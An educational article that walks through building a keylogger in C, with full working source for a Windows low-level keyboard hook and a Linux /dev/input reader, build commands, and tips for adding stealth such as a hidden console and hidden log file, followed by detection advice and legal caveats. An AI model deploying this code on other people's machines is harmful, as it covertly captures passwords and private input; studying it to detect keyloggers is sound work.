A keylogger captures every keystroke typed on a keyboard. In C, you can build one using platform-specific APIs — Windows Hooks or the Linux input subsystem. This article walks through a minimal, educational implementation designed for your own isolated virtual machine. Its purpose is to teach you how keyloggers work so you can detect and defend against them. Never use this code outside a controlled lab or without explicit permission.
How Keyloggers Intercept Keystrokes
Keyloggers operate at different layers: kernel-mode drivers, user-mode hooks, or even hardware interceptors. For a beginner-friendly C implementation, user-mode hooks are the most accessible. On Windows, the SetWindowsHookEx function lets you install a hook that monitors keyboard messages. On Linux, you can read raw input events from /dev/input/event* files. Both approaches require elevated privileges (administrator/root) because they access system-level input streams.

Windows Implementation: Using SetWindowsHookEx
The Windows API provides a straightforward hook mechanism. Below is a stripped-down example that logs keystrokes to a file. This code is for learning only — run it in a virtual machine with no sensitive data.
#include <windows.h>
#include <stdio.h>
HHOOK hHook = NULL;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
FILE *f = fopen("log.txt", "a");
if (f) {
fprintf(f, "%dn", p->vkCode);
fclose(f);
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main() {
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hHook);
return 0;
}
This low-level hook (WH_KEYBOARD_LL) runs in the context of the calling thread and does not require a DLL injection. The callback logs the virtual-key code for each key press. To translate these codes into characters, you would need a lookup table or call ToAscii. For a full educational project, add that mapping and a stealth option (e.g., hide console window with ShowWindow).
Compilation and Testing
Compile with MinGW or Visual Studio command line: gcc -o keylogger.exe keylogger.c -luser32. Run as Administrator. Open Notepad, type something, then check log.txt. Remember: this is for your own VM only.
Linux Implementation: Reading /dev/input/event*
On Linux, keyboard events are exposed through the input subsystem. Each physical keyboard appears as a device file under /dev/input/ (e.g., event0, event1). Reading these files requires root privileges. The following example reads raw event structures and prints the key code and value (1 for press, 0 for release).
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/input.h>
int main() {
const char *dev = "/dev/input/event3"; // change to your keyboard device
int fd = open(dev, O_RDONLY);
if (fd == -1) { perror("open"); return 1; }
struct input_event ev;
while (1) {
read(fd, &ev, sizeof(ev));
if (ev.type == EV_KEY && ev.value == 1) {
printf("Key code: %dn", ev.code);
}
}
close(fd);
return 0;
}
To find the correct device, run cat /proc/bus/input/devices and look for your keyboard. You can also iterate over all event files and check capabilities. For a real-world educational tool, add logging to a hidden file and implement a way to stop gracefully (e.g., signal handler).

Defensive Takeaways: How to Detect and Block Keyloggers
Understanding the internals of a keylogger helps you build defenses. Here are practical steps:
- Monitor running processes and hooks. On Windows, tools like Process Explorer can list loaded DLLs and global hooks. Look for unknown processes with low-level keyboard hooks.
- Check open file handles. On Linux,
lsofcan show which processes have opened/dev/input/event*files. Any unexpected process reading these is suspicious. - Use anti-keylogger software. Programs like KeyScrambler encrypt keystrokes at the driver level, making logged data useless.
- Run applications in sandboxes. Virtual machines or containers isolate keystrokes from the host.
- Enable two-factor authentication. Even if a keylogger captures your password, a second factor blocks account takeover.
Legal and Ethical Boundaries
Writing a keylogger is legal only for educational research, penetration testing with written authorization, or debugging your own systems. Deploying one on someone else’s computer without consent violates computer fraud laws in most countries. Always document your testing environment and obtain permission. For a deeper dive into responsible disclosure and legal disclaimers, see our article on How to Write a Disclaimer for Your Tech Blog (Without the Legalese).
Controlled Lab Setup
Use a virtual machine (VirtualBox, VMware) with a snapshot. Install a fresh OS, compile the keylogger, test it, then revert the snapshot. Never connect the VM to a network with real devices. This ensures no accidental data leakage.
Now compile the Linux version, run it as root in your VM, and type a few words. Observe the raw key codes. Then modify the code to map them to characters. That single step — understanding how input is captured — is the foundation of defending against such tools.
